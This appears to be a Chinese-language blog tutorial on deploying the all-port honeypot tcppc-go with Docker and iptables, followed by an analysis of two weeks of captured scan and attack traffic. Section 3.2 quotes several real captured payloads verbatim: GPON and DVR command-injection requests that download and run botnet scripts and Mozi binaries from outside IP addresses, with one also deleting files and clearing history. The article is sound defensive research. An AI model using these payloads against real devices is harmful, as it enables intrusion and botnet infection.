一、引言

在當(dāng)前的網(wǎng)絡(luò)環(huán)境中，存在著各種流量，包括網(wǎng)絡(luò)空間掃描流量、搜索引擎爬蟲(chóng)流量、惡意軟件的探測(cè)流量等等，例如mirai病毒在進(jìn)行telnet爆破過(guò)程中，其目標(biāo)IP就是隨機(jī)生成的（排除內(nèi)網(wǎng)IP及一些特殊IP）。前段時(shí)間，本人對(duì)SSH蜜罐cowire的Docker部署及數(shù)據(jù)展示進(jìn)行了介紹，有興趣的讀者可以查看文章《Cowrie蜜罐的Docker部署過(guò)程及Elasticsearch+Kibana可視化》。本文將繼續(xù)蜜罐這個(gè)方向，介紹一種全端口蜜罐。

一般而言，大部分蜜罐都是針對(duì)某種服務(wù)來(lái)運(yùn)行的，例如前文提到的ssh蜜罐cowrie。通過(guò)模擬該種服務(wù)的正常協(xié)議交互，完成握手階段，并進(jìn)行數(shù)據(jù)傳輸，基于這種蜜罐可以記錄攻擊者的行為。但前文提到，mirai病毒定位目標(biāo)是通過(guò)隨機(jī)的IP算法生成；同時(shí)每天云主機(jī)的SSH端口也收到各種爆破流量，由此本人萌生了一個(gè)想法，那么是不是還有其他端口也在受到掃描或者攻擊。要獲取這些信息，顯然使用tcpdump并不可行，雖然能收到各種掃描的流量，但沒(méi)有系統(tǒng)協(xié)議棧的支撐，并不能得知連接的負(fù)載；而如果使用開(kāi)啟多個(gè)端口又不現(xiàn)實(shí)，畢竟端口數(shù)量這么多，管理起來(lái)也不方便。要滿足上述需求，需要一個(gè)能夠接受全端口流量的蜜罐。

本文基于上述背景，部署一款全端口蜜罐，并對(duì)半個(gè)月時(shí)間內(nèi)收到的日志進(jìn)行簡(jiǎn)單分析。整體的文章結(jié)構(gòu)如下：首先介紹使用tcppc-go及docker搭建一個(gè)可以記錄連接信息的蜜罐，然后利用iptables將端口轉(zhuǎn)發(fā)至特定端口，最后分析采集到的兩周的數(shù)據(jù)。

二、全端口蜜罐的部署

2.1 需求分析

首先來(lái)具體說(shuō)明一下，對(duì)于這款蜜罐的具體需求。

1. 能夠接受客戶端（攻擊或掃描）的連接，不需要進(jìn)行具體的某種協(xié)議的交互，能夠接收并記錄用戶發(fā)送過(guò)來(lái)的數(shù)據(jù)，持續(xù)運(yùn)行只要客戶端還在發(fā)送數(shù)據(jù)；

2. 能夠記錄日志，包括連接信息，數(shù)據(jù)包內(nèi)容等；

3. 能夠接收系統(tǒng)的全端口流量。

本著不重復(fù)造輪子的思想，在github上搜索"all port honeypot"，找到了一款能夠滿足功能的程序tcppc-go。除了能滿足上述需求，同時(shí)還能支持UDP協(xié)議，甚至可以加載SSL證書(shū)，進(jìn)行SSL握手。本次部署過(guò)程中不考慮SSL及UDP。其github主頁(yè)上也介紹了如何能夠捕獲全端口的數(shù)據(jù)負(fù)載，通過(guò)iptables進(jìn)行轉(zhuǎn)發(fā)，但本文沒(méi)有采用他的命令，請(qǐng)讀者謹(jǐn)慎嘗試。

2.2 部署過(guò)程

tcppc-go是一款使用Go語(yǔ)言編寫(xiě)的程序，雖然本人有一些go語(yǔ)言基礎(chǔ)，但是不想折騰基礎(chǔ)語(yǔ)言環(huán)境，就借助docker的方式來(lái)搭建這個(gè)蜜罐，這樣也方便沒(méi)有g(shù)o基礎(chǔ)的讀者直接進(jìn)行部署。因此，本次部署過(guò)程中，與上一篇cowrie蜜罐相同，采用docker部署的方式，但不進(jìn)行數(shù)據(jù)展示，直接輸出原始日志，本次蜜罐部署的環(huán)境如下：

2.2.1 構(gòu)造鏡像

Dockerfile是構(gòu)造鏡像的模板，docker會(huì)根據(jù)Dockerfile的程序逐漸構(gòu)造鏡像，關(guān)于具體的指令，下面的Dockerfile已經(jīng)添加了簡(jiǎn)單的注釋，想深入了解命令使用的讀者可以自行搜索。

###使用golang作為基礎(chǔ)鏡像提供程序運(yùn)行環(huán)境
FROM golang
#設(shè)置時(shí)區(qū)變量
ENV TZ=Asia/Shanghai
#調(diào)整時(shí)區(qū),從github拉取相應(yīng)源碼，并編譯
run ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone &&
go get
github.com/md-irohas/tcppc-go &&
cd
/go/src/github.com/md-irohas/tcppc-go &&
go build main.go
#跳轉(zhuǎn)至生成的程序位置
WORKDIR /go/bin/
#執(zhí)行命令
cmd ["./tcppc-go", "-T","86400","-w","log/tcppc-%Y%m%d.jsonl"]

上述Dockerfile的主要構(gòu)造流程如下。首先，拉取golang作為基礎(chǔ)鏡像，為程序提供go語(yǔ)言環(huán)境；然后，在設(shè)置了時(shí)區(qū)變量之后，將時(shí)區(qū)調(diào)整為上海市區(qū)，如果不調(diào)整，默認(rèn)會(huì)比上海時(shí)間慢8個(gè)小時(shí)；其次，利用go命令獲取程序源碼；最后，進(jìn)入相應(yīng)路徑進(jìn)行編譯。

新創(chuàng)建一個(gè)文件夾dockertest（后續(xù)操作均將在該路徑下執(zhí)行），并按照上述內(nèi)容編輯Dockerfile文件，在文件夾下執(zhí)行命令:`docker build -t allport:1.0 .`

其中-t參數(shù)是設(shè)置最終生成鏡像的名字與版本號(hào)，可自行調(diào)整；程序會(huì)運(yùn)行一段時(shí)間，大致上需要3-5分鐘時(shí)間，主要卡頓在拉取go基礎(chǔ)鏡像和獲取github源碼過(guò)程中。

上述命令會(huì)輸出以上信息，輸出這些信息表明蜜罐已經(jīng)構(gòu)建成功；測(cè)試鏡像是否成功構(gòu)造并能運(yùn)行，首先創(chuàng)建log文件夾，用來(lái)后續(xù)掛載文件夾到鏡像中，并保存日志，執(zhí)行以下命令。

docker -it -d --restart=always --net=host -v `pwd`/log:/go/bin/log/ all_port:1.0

此時(shí)可以查看到log文件夾下已經(jīng)生成了log文件。非root用戶可能需要調(diào)整文件夾的權(quán)限。docker運(yùn)行命令中，利用--net=host讓鏡像使用宿主機(jī)的網(wǎng)絡(luò)，這樣可以直接綁定端口到系統(tǒng)上，后續(xù)利用iptable時(shí)，只需要指定端口。 tcppc-go會(huì)默認(rèn)綁定tcp/udp端口號(hào)12345，可以通過(guò)telnet 0 12345進(jìn)行測(cè)試，隨便敲擊命令，即可在日志中查看到日志。

按照上述步驟能夠出現(xiàn)以上信息，說(shuō)明鏡像已經(jīng)構(gòu)造成功，并且能夠成功運(yùn)行并獲取日志。但是當(dāng)前只是開(kāi)啟的一個(gè)端口進(jìn)行監(jiān)聽(tīng)，下面來(lái)介紹通過(guò)iptables將本機(jī)端口轉(zhuǎn)發(fā)至tcppc-go的12345端口。

2.2.2 調(diào)整iptables進(jìn)行端口轉(zhuǎn)發(fā)

請(qǐng)注意，利用iptables如果命令錯(cuò)誤可能導(dǎo)致機(jī)器無(wú)法訪問(wèn)，或者影響其他正常服務(wù)，特別是SSH端口。一定要注意自己的命令是否正確。最好是在自己的測(cè)試機(jī)或者虛擬機(jī)上先測(cè)試命令，保證命令正確無(wú)影響。以下命令均在本人的機(jī)器上測(cè)試沒(méi)有問(wèn)題，但是每個(gè)人的情況都不同，請(qǐng)一定謹(jǐn)慎。

先來(lái)解釋一個(gè)最簡(jiǎn)單的命令iptables -t nat -A PREROUTING -p tcp -i eth0 --dport 5000:8000 -j REDIRECT --to-ports 12345。

下面來(lái)說(shuō)明一下命令的具體內(nèi)容，該命令將在防火墻的nat表（-t nat）中prerouting（-A PREROUTING）位置創(chuàng)建一條規(guī)則，這條規(guī)則針對(duì)發(fā)往網(wǎng)卡eth0（-i eth0）tcp協(xié)議（-p tcp）的流量，其中端口范圍是5000-8000（--dport 5000:8000）的將重定向至12345端口（-j REDIRECT --to-ports 12345）。

執(zhí)行命令（外網(wǎng)IP），telnet your_machine_ip 5000，可以發(fā)現(xiàn)成功聯(lián)通；上述命令不支持在部署蜜罐的本機(jī)進(jìn)行使用"0.0.0.0"或者回環(huán)地址測(cè)試，會(huì)回顯拒絕服務(wù)的信息，這是由于iptables的生效位置導(dǎo)致。

雖然上述命令可以將端口轉(zhuǎn)發(fā)至蜜罐的端口，但是輸出的蜜罐日志中卻缺失了端口信息，所有的流量都呈現(xiàn)為訪問(wèn)12345端口，這樣不利于具體的端口行為分析。所以需要調(diào)整上述命令，來(lái)記錄端口轉(zhuǎn)發(fā)過(guò)程日志。下面來(lái)具體說(shuō)明在實(shí)際部署過(guò)程中采用的命令。為了驗(yàn)證命令的可行性，會(huì)將原有蜜罐的防火墻規(guī)則清楚，重新逐步加載規(guī)則。

執(zhí)行命令查看nat表中現(xiàn)有的規(guī)則，iptables -t nat -L -nv，得到以下圖片中輸出。

上圖輸出中的最后一條規(guī)則正是剛剛執(zhí)行的命令生成的，先執(zhí)行命令把這條規(guī)則刪除，執(zhí)行命令iptables -t nat -D PREROUTING 5，其中5對(duì)應(yīng)的這條規(guī)則的編號(hào)，可以通過(guò)以下命令（iptables -t nat -L -nv --line-numbers）來(lái)獲取編號(hào)。在后續(xù)中，如果發(fā)現(xiàn)規(guī)則有問(wèn)題，可以按照編號(hào)刪除相應(yīng)的規(guī)則，一定要注意不要把正常的規(guī)則刪除。

一、開(kāi)啟iptables日志

1. 在文件/etc/rsyslog.conf中添加一行內(nèi)容，kern.info /var/log/iptables.log

2. 為了讓日志和ssh日志一樣回滾，將文件名/var/log/iptables.log加入文件/etc/logrotate.d/syslog中，配置后文件內(nèi)容如下。

3. 執(zhí)行重啟服務(wù)service rsyslog restart使配置生效。

二、iptables日志規(guī)則

執(zhí)行以下兩條命令。

iptables -t nat -A PREROUTING -p tcp -i eth0 --dport 5000:8000 -j LOG --log-level 6 --log-prefix "port_for"
iptables -t nat -A PREROUTING -p tcp -i eth0 --dport 5000:8000 -j REDIRECT --to-ports 12345

下面簡(jiǎn)單說(shuō)明一下上述命令的含義。第一條命令是將進(jìn)來(lái)的流量進(jìn)行記錄，日志等級(jí)6對(duì)應(yīng)前面的kern.info，日志前綴為port_for，無(wú)意義，可自行定義。第二條命令將流量重定向至端口12345。經(jīng)過(guò)測(cè)試，上述兩條命令如果順序顛倒，雖然能進(jìn)行重定向，但沒(méi)有日志輸出。

測(cè)試：執(zhí)行命令telnet your_machine_ip 5000，可以在/var/log/iptables.log中看到實(shí)時(shí)輸出。

其他端口只需要修改端口范圍即可，執(zhí)行命令類似；如果命令都正確，卻無(wú)法連通，請(qǐng)查看是否是云主機(jī)沒(méi)有開(kāi)放端口的原因。

2.2.3 部署過(guò)程小結(jié)

在前面的內(nèi)容中，本文描述了如何通過(guò)docker部署tcppc-go程序，并簡(jiǎn)單介紹了利用iptables完成端口轉(zhuǎn)發(fā)功能。請(qǐng)?jiān)谧约簷C(jī)器上部署的讀者在執(zhí)行iptables命令時(shí)，一定要謹(jǐn)慎，最好是現(xiàn)在虛擬機(jī)或者測(cè)試機(jī)上進(jìn)行命令的測(cè)試，以免造成不必要的麻煩。

三、全端口蜜罐的數(shù)據(jù)分析

前文中，已經(jīng)對(duì)全端口蜜罐的部署過(guò)程進(jìn)行了詳細(xì)的描述。按照步驟部署，現(xiàn)在可以擁有兩個(gè)源頭的數(shù)據(jù)，一個(gè)是由iptables進(jìn)行端口轉(zhuǎn)換過(guò)程中，生成的端口轉(zhuǎn)換日志（TCP連接）；一個(gè)是由tcppc-go程序采集到的連接信息（包含負(fù)載）。下面利用Python分別來(lái)對(duì)這兩方面數(shù)據(jù)進(jìn)行分析，主要用到的第三方庫(kù)是pandas數(shù)據(jù)分析庫(kù)，同時(shí)采用jupyter-notebook的形式方便分析過(guò)程。分析的日志時(shí)間為從2020年5月24日至2020年6月7日，其中在5月24日進(jìn)行部署，日志僅為半天的數(shù)據(jù)量，其余時(shí)間均為整天的數(shù)據(jù)。本部分分析集中于數(shù)據(jù)的分析，對(duì)代碼實(shí)現(xiàn)不進(jìn)行詳細(xì)描述，后文中提供github地址，包含jupyter的分析過(guò)程。

注：因?yàn)楸救说脑浦鳈C(jī)中還承載著SSH/蜜罐（22/2222端口），以及SSH蜜罐（23/2323)，這部分服務(wù)由之前一篇文章中介紹的cowrie蜜罐處理，下文中的日志中沒(méi)有體現(xiàn)這部分日志，可能會(huì)在日志數(shù)量上有偏差。利用iptables轉(zhuǎn)發(fā)范圍包括（24-2221），（2324-65535）。

3.1 iptables端口轉(zhuǎn)化日志數(shù)據(jù)分析

圖1. 日志數(shù)量（按天）

從圖1中可以看出，在部署蜜罐之后，日志數(shù)量在兩天后趨于穩(wěn)定，如果排除5月24日不計(jì)，剩余14天每天的平均日志數(shù)量為35000左右。

圖2. 去重日志數(shù)量

雖然每天的日志數(shù)量非常多，但是從去重的ip/端口數(shù)量（圖2）上來(lái)看，每天的IP數(shù)量趨于穩(wěn)定，大致在2400左右；端口數(shù)量較多在14000左右。

圖3. 日志中訪問(wèn)端口排序

圖3展示了在15天日志中，訪問(wèn)最多的是445端口，配合最近爆出的SMB漏洞，這個(gè)端口的訪問(wèn)量這么高，不難理解；其次是8088（大概率是WEB服務(wù)）、1433（SQL Server默認(rèn)端口）。圖3主要針對(duì)所有日志的端口進(jìn)行排序，下面將每個(gè)訪問(wèn)的端口的ip進(jìn)行去重后，來(lái)查看訪問(wèn)最高的端口。

圖4. 日志中訪問(wèn)端口（IP去重）排序

從圖4中可以看出，在經(jīng)過(guò)IP去重后再排序，第一個(gè)端口和第二個(gè)端口的差距沒(méi)有那么懸殊了，通過(guò)第二第三多的端口也發(fā)生了變化。以上圖片中均采用天為單位進(jìn)行說(shuō)明，下面采用時(shí)間區(qū)間比較小的30min中來(lái)說(shuō)明。以下去重意義，是指在時(shí)間區(qū)間內(nèi)，對(duì)IP或者端口分別進(jìn)行去重。

圖5. 日志數(shù)量（每30分鐘）

從圖5中可以看出，IP數(shù)量趨于穩(wěn)定，但日志數(shù)量不穩(wěn)定，且存在波動(dòng)；去重日志中，端口數(shù)量多于IP數(shù)量，存在掃描行為或者同一個(gè)IP連接多個(gè)端口的行為。如果沒(méi)有掃描行為，那么源IP與目的端口數(shù)量應(yīng)該是相當(dāng)?shù)模蝗罩緮?shù)量明顯高于其他兩個(gè)數(shù)量的時(shí)間點(diǎn)，說(shuō)明存在某個(gè)IP對(duì)某個(gè)端口（或多個(gè)端口）進(jìn)行了多次訪問(wèn)，產(chǎn)生了多次日志。上圖的時(shí)間廣度太大了，下面來(lái)通過(guò)一天的日志來(lái)說(shuō)明這個(gè)前面的結(jié)論。

圖6. 25號(hào)日志數(shù)量

在圖6中的標(biāo)識(shí)中，類型1橢圓處，日志數(shù)量與目的端口數(shù)量激增，且數(shù)量相當(dāng)，說(shuō)明存在某個(gè)IP在進(jìn)行端口掃描行為；類型2的橢圓處，IP數(shù)量與端口數(shù)量相當(dāng)，但日志數(shù)量比前者多，說(shuō)明了某個(gè)IP對(duì)某個(gè)端口（或多個(gè)端口）進(jìn)行了多次訪問(wèn)。雖然類型2中，也有可能有IP在進(jìn)行小規(guī)模的端口掃描，但相對(duì)來(lái)說(shuō)，類型1的這種現(xiàn)象更能說(shuō)明有IP進(jìn)行端口掃描的行為。為了驗(yàn)證結(jié)論，這里將類型1位置時(shí)間的日志打印出來(lái)，具體可以從圖7中看出，的確存在掃描行為。

圖7. 端口掃描行為的日志

圖8. 國(guó)家分布

圖8繪制了全部日志地域分布，分析過(guò)程中采用了第三方庫(kù)geoip2。在國(guó)家分布中，除了中國(guó)作為第一位，俄羅斯和荷蘭日志量最多，本人在部署HTTP代理蜜罐過(guò)程中也發(fā)現(xiàn)了這樣的情況，存在大量俄羅斯的IP在進(jìn)行訪問(wèn)。

3.2 TCP連接數(shù)據(jù)負(fù)載分析

在處理TCP負(fù)載日志中發(fā)現(xiàn)，tcppc-go生成的日志為json格式，且數(shù)據(jù)負(fù)載已經(jīng)由base64進(jìn)行編碼，雖然pandas支持從json文件中獲取數(shù)據(jù)，但有些數(shù)據(jù)類型，例如數(shù)組，并不能完美支持。本次主要查看TCP負(fù)載中一些攻擊的流量，在對(duì)數(shù)據(jù)負(fù)載進(jìn)行解碼之后，直接按照某些特殊字符查找。按照之前部署ssh蜜罐的經(jīng)驗(yàn)，很多通過(guò)wget進(jìn)行惡意樣本的下載；同時(shí)HTTP協(xié)議中，有些存在webshll服務(wù)。下面就按照兩個(gè)字符串進(jìn)行分析："wget"和"shell"。這部分日志數(shù)量非常大，這里僅僅貼出一些作為示例。

POST /GponForm/diag_Form?images/ HTTP/1.1rnHost: 127.0.0.1:80rnConnection: keep-alivernAccept-Encoding: gzip, deflaternAccept: */*rnUser-Agent: Hello, WorldrnContent-Length: 118rnrnXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://116.114.95.192:58149/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0

經(jīng)過(guò)搜索，上述載荷是利用GPON漏洞[1]。

GET /cgi-bin/supervisor/CloudSetup.cgi?exefile=cd%20/tmp;%20wget%20http://23.254.227.92/bins.sh%20-O%2012.bins.sh;curl%20-O%20http://23.254.227.92/bins.sh%20-O%2011.bins.sh;%20chmod%20777%20*;%20sh%2011.bins.sh;%20sh%2012.bins.sh HTTP/1.0rnrn

DVR漏洞[2]。

GET /shell?cd%20/tmp;wget%20http:/%5C/23.254.164.76/ally.sh%20-O%20gf;%20chmod%20777%20gf;./gf%20DVR HTTP/1.1rnHost: xx.xx.xx.xx:5500rnConnection: keep-alivernAccept-Encoding: gzip, deflaternAccept: */*rnUser-Agent: python-requests/2.6.0 CPython/2.6.6 linux/2.6.32-754.el6.x86_64rnrn
GET /shell?cd%20/tmp;wget%20http:/%5C/185.172.110.227/sys6;%20chmod%20777%20sys6;%20./sys6 HTTP/1.1rnHost: xx.xx.xx.xx:5502rnConnection: keep-alivernAccept-Encoding: gzip, deflaternAccept: */*rnUser-Agent: python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.29.2.el6.x86_64rnrn
GET /shell?cd%20/tmp%20%7C%7C%20cd%20/run%20%7C%7C%20cd%20/;%20wget%20http://185.103.110.146/axisbins.sh;%20chmod%20777%20axisbins.sh;%20sh%20axisbins.sh;%20rm%20-rf%20axisbins.sh;rm%20-rf%20*;%20clear;history%20-c;%20clear;history%20-w HTTP/1.1rnHost: xx.xx.xx.xx:5501rnConnection: keep-alivernAccept-Encoding: gzip, deflaternAccept: */*rnUser-Agent: python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.el6.x86_64rnrn
GET /shell?cd+/tmp;rm+-rf+*;wget+http://112.17.89.155:51082/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1rnUser-Agent: Hello, worldrnHost: xx.xx.xx.xx:80rnAccept: text/html,Application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8rnConnection: keep-alivernrn

上述命令不清楚是什么產(chǎn)品的漏洞。但是這些負(fù)載都是TCP的首包，說(shuō)明這些攻擊不需要進(jìn)行交互，他們的原理應(yīng)該與mirai僵尸網(wǎng)絡(luò)病毒一致，通過(guò)隨機(jī)生成IP來(lái)攻擊主機(jī)。同時(shí)，日志中存在各種爬蟲(chóng)以及服務(wù)探測(cè)的流量，這里不再一一列舉。

3.3 數(shù)據(jù)分析總結(jié)

本小節(jié)針對(duì)采集到的日志進(jìn)行了分析，主要針對(duì)端口轉(zhuǎn)換過(guò)程中產(chǎn)生的端口日志進(jìn)行了詳細(xì)的分析，分析了日志數(shù)量，端口分布，地域分布等，可以發(fā)現(xiàn)掃描行為，且知道被探測(cè)端口最多的是哪些；對(duì)于負(fù)載分析部分，主要利用已知的兩種指紋wget和shell直接進(jìn)行匹配，可以發(fā)現(xiàn)非常多的日志，這些連接沒(méi)有前期交互，直接就開(kāi)始下載惡意樣本。

四、 總結(jié)

本篇文章主要針對(duì)全端口蜜罐的部署以及數(shù)據(jù)分析展開(kāi)。利用iptables配合開(kāi)源軟件tcppc-go記錄日志，然后詳細(xì)分析了端口轉(zhuǎn)換日志，并簡(jiǎn)單列舉了幾種攻擊樣本。通過(guò)本文的分析，可以發(fā)現(xiàn)一臺(tái)存活的云主機(jī)其受到的流量行為分布：端口、訪問(wèn)IP、地域，以及查看各種負(fù)載；通過(guò)端口轉(zhuǎn)發(fā)日志可以看到端口掃描行為，通過(guò)負(fù)載信息，可以看到存在各種樣本。但本文中的方法主要是進(jìn)行離線分析，后續(xù)如果有機(jī)會(huì)再開(kāi)發(fā)實(shí)時(shí)顯示的系統(tǒng)；同時(shí)利用非結(jié)構(gòu)數(shù)據(jù)庫(kù)來(lái)存儲(chǔ)負(fù)載信息。

本文所使用的dockerfile以及分析端口轉(zhuǎn)發(fā)日志的jupyter分析過(guò)程已經(jīng)上傳至allporthoneyport。

參考文章

1(https://zhuanlan.zhihu.com/p/36741900?utm_source=com.huawei.works)

2(https://www.seebug.org/vuldb/ssvid-92493)

原文地址：
https://www.freebuf.com/articles/network/240041.html